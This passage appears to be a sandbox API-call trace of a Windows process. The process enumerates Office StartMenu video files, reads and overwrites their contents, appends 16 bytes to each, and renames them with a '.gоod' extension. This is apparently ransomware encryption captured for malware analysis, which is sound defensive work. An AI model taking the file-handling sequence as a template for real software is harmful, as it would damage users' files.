lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0154.551] GetFileType (hFile=0x808) returned 0x1 [0154.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0154.551] GetFileType (hFile=0x808) returned 0x1 [0154.551] WriteFile (in: hFile=0x808, lpBuffer=0x3436470*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x3436470*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0154.552] CloseHandle (hObject=0x808) returned 1 [0154.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0154.553] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre", lpFilePart=0x0) returned 0x2a [0154.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.554] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.554] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1158e0a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e8fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win10.mp4", cAlternateFileName="STARTM~2.MP4")) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11567da2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11567da2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win10_RTL.mp4", cAlternateFileName="STARTM~1.MP4")) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7600b, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win7.wmv", cAlternateFileName="STARTM~2.WMV")) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc8b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win7_RTL.wmv", cAlternateFileName="STARTM~1.WMV")) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19768, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win8.mp4", cAlternateFileName="STARTM~4.MP4")) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115b4243, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115b4243, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win8_RTL.mp4", cAlternateFileName="STARTM~3.MP4")) returned 1 [0154.555] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.555] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0154.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0154.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0154.556] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre", lpFilePart=0x0) returned 0x2a [0154.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.557] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.557] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1158e0a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e8fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win10.mp4", cAlternateFileName="STARTM~2.MP4")) returned 1 [0154.557] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11567da2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11567da2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win10_RTL.mp4", cAlternateFileName="STARTM~1.MP4")) returned 1 [0154.557] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7600b, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win7.wmv", cAlternateFileName="STARTM~2.WMV")) returned 1 [0154.558] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11541b08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11541b08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc8b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win7_RTL.wmv", cAlternateFileName="STARTM~1.WMV")) returned 1 [0154.558] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19768, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win8.mp4", cAlternateFileName="STARTM~4.MP4")) returned 1 [0154.558] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115b4243, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115b4243, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win8_RTL.mp4", cAlternateFileName="STARTM~3.MP4")) returned 1 [0154.558] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115b4243, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115b4243, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win8_RTL.mp4", cAlternateFileName="STARTM~3.MP4")) returned 0 [0154.558] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0154.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0154.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", lpFilePart=0x0) returned 0x3e [0154.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0154.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), fInfoLevelId=0x0, lpFileInformation=0x3448228 | out: lpFileInformation=0x3448228*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1158e0a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e8fb)) returned 1 [0154.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0154.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", lpFilePart=0x0) returned 0x3e [0154.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.560] GetFileType (hFile=0x808) returned 0x1 [0154.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.560] GetFileType (hFile=0x808) returned 0x1 [0154.560] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0154.560] ReadFile (in: hFile=0x808, lpBuffer=0x3448630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3448630*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0154.562] CloseHandle (hObject=0x808) returned 1 [0154.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", lpFilePart=0x0) returned 0x3e [0154.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.562] GetFileType (hFile=0x808) returned 0x1 [0154.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.562] GetFileType (hFile=0x808) returned 0x1 [0154.562] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1e8fb [0154.562] WriteFile (in: hFile=0x808, lpBuffer=0x344c0c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x344c0c0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0154.563] CloseHandle (hObject=0x808) returned 1 [0154.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", lpFilePart=0x0) returned 0x3e [0154.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.563] GetFileType (hFile=0x808) returned 0x1 [0154.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.564] GetFileType (hFile=0x808) returned 0x1 [0154.564] ReadFile (in: hFile=0x808, lpBuffer=0x3450798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3450798*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0154.696] CloseHandle (hObject=0x808) returned 1 [0154.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", lpFilePart=0x0) returned 0x3e [0154.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.697] GetFileType (hFile=0x808) returned 0x1 [0154.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.697] GetFileType (hFile=0x808) returned 0x1 [0154.697] WriteFile (in: hFile=0x808, lpBuffer=0x329f440*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x329f440*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0154.697] CloseHandle (hObject=0x808) returned 1 [0154.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", lpFilePart=0x0) returned 0x3e [0154.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.gоod", lpFilePart=0x0) returned 0x43 [0154.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0154.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1158e0a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x586b8350, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e90b)) returned 1 [0154.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0154.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.gоod" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4.gоod")) returned 1 [0154.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", lpFilePart=0x0) returned 0x42 [0154.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0154.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), fInfoLevelId=0x0, lpFileInformation=0x32d8540 | out: lpFileInformation=0x32d8540*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11567da2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11567da2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce1b)) returned 1 [0154.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0154.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", lpFilePart=0x0) returned 0x42 [0154.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.698] GetFileType (hFile=0x808) returned 0x1 [0154.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.698] GetFileType (hFile=0x808) returned 0x1 [0154.699] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0154.699] ReadFile (in: hFile=0x808, lpBuffer=0x32d8968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x32d8968*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0154.700] CloseHandle (hObject=0x808) returned 1 [0154.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", lpFilePart=0x0) returned 0x42 [0154.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.700] GetFileType (hFile=0x808) returned 0x1 [0154.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.700] GetFileType (hFile=0x808) returned 0x1 [0154.700] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1ce1b [0154.700] WriteFile (in: hFile=0x808, lpBuffer=0x32d9c58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x32d9c58*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0154.701] CloseHandle (hObject=0x808) returned 1 [0154.701] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", lpFilePart=0x0) returned 0x42 [0154.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0154.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.702] GetFileType (hFile=0x808) returned 0x1 [0154.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0154.702] GetFileType (hFile=0x808) returned 0x1 [0154.702] ReadFile (in: hFile=0x808, lpBuffer=0x32dbf90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x32dbf90*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0155.362] CloseHandle (hObject=0x808) returned 1 [0155.362] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4", lpFilePart=0x0) returned 0x42 [0155.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0155.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 